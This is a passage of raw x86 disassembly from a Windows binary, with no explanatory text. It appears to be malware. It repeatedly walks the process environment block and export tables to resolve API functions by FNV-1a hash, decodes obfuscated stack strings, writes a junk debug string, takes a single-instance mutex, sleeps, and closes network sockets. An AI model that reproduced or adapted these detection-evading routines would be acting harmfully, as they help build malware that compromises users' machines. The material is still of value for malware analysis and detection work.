mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4610b4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4610b4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4610ad
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461090
cmp esi, 0x71948ca4
je 0x4610b8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461076
mov eax, dword [eax]
jmp 0x461050
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461149
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461149
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461142
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461125
cmp esi, 0xfaba0065
je 0x46114d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461110
mov eax, dword [eax]
jmp 0x4610e7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4611d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4611d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4611d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4611b5
cmp esi, 0xfaba0065
je 0x4611dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4611a0
mov eax, dword [eax]
jmp 0x461177
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461274
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461274
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46126d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461250
cmp esi, 0xfaba0065
je 0x461278
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461236
mov eax, dword [eax]
jmp 0x461210
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461304
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461304
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4612fd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4612e0
cmp esi, 0xfaba0065
je 0x461308
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4612c8
mov eax, dword [eax]
jmp 0x4612a2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461394
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461394
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46138d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461370
cmp esi, 0xfaba0065
je 0x461398
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461358
mov eax, dword [eax]
jmp 0x461332
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461424
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461424
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46141d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461400
cmp esi, 0xfaba0065
je 0x461428
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4613e8
mov eax, dword [eax]
jmp 0x4613c2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xba]
mov dword [ebp - 0xba], 0x180e1c4b
mov word [ebp - 0xb6], 0x100
call fcn.00462730
lea ecx, [ebp - 0x87]
mov word [ebp - 0x87], 0x3a
mov byte [ebp - 0x85], 1
call fcn.004628e0
lea eax, [ebp - 0x87]
push 0x533ad4
push eax
lea edx, [ebp - 0x228]
lea ecx, [ebp - 0x4c8]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0x4b0]
mov edx, eax
call fcn.00469520
lea ecx, [ebp - 0xba]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4614c0
sub ecx, esi
lea eax, [ebp - 0xba]
push ecx
push eax
mov ecx, edx
call fcn.00467ee0
push eax
lea ecx, [ebp - 0x31c]
call fcn.004026b0
lea ecx, [ebp - 0x4b0]
call fcn.00402660
lea ecx, [ebp - 0x4c8]
call fcn.00402660
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x180e1c4b
mov word [ebp - 0x30], 0x100
call fcn.00462730
mov edx, 0x17
lea ecx, [ebp - 0x4f8]
call fcn.0040c2b0
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x4e0]
call fcn.00469420
lea ecx, [ebp - 0x34]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461540
sub ecx, esi
lea eax, [ebp - 0x34]
push ecx
push eax
mov ecx, edx
call fcn.00467ee0
push eax
lea ecx, [ebp - 0x334]
call fcn.004026b0
lea ecx, [ebp - 0x4e0]
call fcn.00402660
lea ecx, [ebp - 0x4f8]
call fcn.00402660
mov ecx, 0x536180
call fcn.004027a0
lea ecx, [ebp - 0x334]
mov ebx, eax
call fcn.004027a0
sub esp, 0x18
mov esi, eax
mov edi, esp
mov ecx, edi
push dword [ebp - 0x10]
call fcn.004027f0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4615a4
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00402810
sub esp, 0x18
mov ecx, esp
push 0x533aec
call fcn.004655b0
mov ecx, ebx
call fcn.00407220
add esp, 0x18
lea eax, [ebp - 0x31c]
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x18
lea eax, [ebp - 0x334]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0041f100
add esp, 0x30
cmp byte [0x535ea3], 0
je 0x461689
cmp byte [ebp - 0x15], 0
jne 0x461689
sub esp, 0x10
mov ecx, esp
push 0x536148
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536040
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x5360f0
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536060
call fcn.004630b0
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.00419fc0
add esp, 0x78
test al, al
je 0x461689
call fcn.00416240
sub esp, 0x18
lea eax, [ebp - 0x24c]
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x10
mov ecx, esp
push 0x536148
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536040
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x5360f0
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536060
call fcn.004630b0
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.00444ed0
add esp, 0x90
lea ecx, [ebp - 0x334]
call fcn.00402660
lea ecx, [ebp - 0x31c]
call fcn.00402660
jmp 0x4617be
cmp byte [0x535ea3], 0
je 0x4617be
cmp byte [ebp - 0x15], 0
jne 0x4617be
sub esp, 0x10
mov ecx, esp
push 0x536148
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536040
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x5360f0
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536060
call fcn.004630b0
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.00419fc0
add esp, 0x78
test al, al
je 0x4617be
call fcn.00416240
lea ecx, [ebp - 0x2d4]
call fcn.00402660
lea ecx, [ebp - 0x2ec]
call fcn.00402660
lea ecx, [ebp - 0x304]
call fcn.00402660
lea ecx, [ebp - 0x3fc]
call fcn.00461b60
lea ecx, [ebp - 0x404]
call fcn.00461bc0
lea ecx, [ebp - 0x264]
call fcn.00402660
lea ecx, [ebp - 0x27c]
call fcn.00402660
push str.er_yhldrtkl_ylkrlk_lyuktkdmrlujklrtdulkrtkluk
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x535ea3], 0
je 0x4619bc
cmp byte [ebp - 0x15], 0
je 0x4619bc
sub esp, 0x10
mov ecx, esp
push 0x536148
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536040
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x5360f0
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.004630b0
sub esp, 0x10
mov ecx, esp
push 0x536060
call fcn.004630b0
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.00419fc0
add esp, 0x78
test al, al
je 0x4619bc
push 0x533b34
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1ec], 0xb0e0a16
mov dword [ebp - 0x1e8], 0x5073902
mov dword [ebp - 0x1e4], 0x1e2e0b09
mov word [ebp - 0x1e0], 0x15
mov byte [ebp - 0x1de], 1
call fcn.0040a230
mov edx, eax
lea ecx, [ebp - 0x510]
call fcn.004693c0
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x510]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4619fb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
sub esp, 0x18
mov dword [ebp - 0x191], 0x2b29302d
lea ecx, [ebp - 0x191]
mov dword [ebp - 0x18d], 0x70e47
mov word [ebp - 0x189], 0x100
mov esi, esp
call fcn.0040e990
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041ec60
mov ecx, dword [0x536168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536164]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4619b3
nop dword [eax]
push 0x64
call ebx
mov ecx, dword [0x536168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x461990
mov byte [0x535e81], 1
jmp 0x4619c2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 2
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x535ea3], 0
je 0x4619fb
cmp byte [ebp - 0x15], 0
je 0x4619fb
push 0x3e8
call ebx
jmp 0x4619f2
lea ecx, [ebp - 0x24c]
xor esi, esi
call fcn.00402660
lea ecx, [ebp - 0x3b4]
call fcn.00402660
lea ecx, [ebp - 0x228]
call fcn.00402660
mov ecx, dword [ebp - 0x1f0]
test ecx, ecx
je 0x461a2d
call fcn.00403560
lea ecx, [ebp - 0x3e8]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10